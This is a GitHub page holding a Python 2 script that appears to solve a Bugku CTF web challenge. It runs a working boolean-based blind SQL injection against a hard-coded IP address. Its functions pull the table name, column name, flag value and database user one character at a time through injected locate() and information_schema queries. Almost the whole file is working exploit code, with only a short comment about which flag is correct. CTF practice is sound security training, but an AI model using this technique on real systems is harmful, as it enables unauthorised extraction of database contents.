-
Notifications
You must be signed in to change notification settings - Fork 1
/
Bugku_Web_Duoci.py
83 lines (77 loc) · 2.79 KB
/
Bugku_Web_Duoci.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#coding=utf-8
import requests
rs = requests.session()
'''
这里是第二个flag,也是正确的那个flag
修改limit的值
'''
def table():
flag = ''
for j in xrange(1, 100):
temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
key = 0
for i in temp:
url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'" + str(i) + "',(select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(j) + "))=" + str(j) + "%23"
r1 = rs.get(url)
# print url
if "Hello" in r1.text:
print str(i) + " -----" + str(j)
flag += str(i)
print "[*] : " + flag
key = 1
if key ==0:
break
def column():
flag = ''
for j in xrange(1, 100):
temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
key =0
for i in temp:
url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'" + str(
i) + "',(select column_name from information_schema.columns where table_schema=database() limit 0,1)," + str(
j) + "))=" + str(j) + "%23"
r1 = rs.get(url)
# print url
if "Hello" in r1.text:
print str(i) + " -----" + str(j)
flag += str(i)
print "[*] : " + flag
key = 1
if key ==0:
break
def flag2():
flag =''
for j in xrange(1, 100):
temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
key = 0
for i in temp:
url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select flag2 from flag2),"+str(j)+"))="+str(j)+"%23"
r1 = rs.get(url)
# print url
if "Hello" in r1.text:
print str(i)+" -----"+str(j)
flag += str(i)
print "[*] : "+flag
key = 1
if key ==0:
break
def user():
flag =''
for j in xrange(1, 100):
temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
key = 0
for i in temp:
url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select user()),"+str(j)+"))="+str(j)+"%23"
r1 = rs.get(url)
# print url
if "Hello" in r1.text:
print str(i)+" -----"+str(j)
flag += str(i)
key = 1
if key ==0:
print "[*] : " + flag
break
# flag2()
# table()
# column()
user()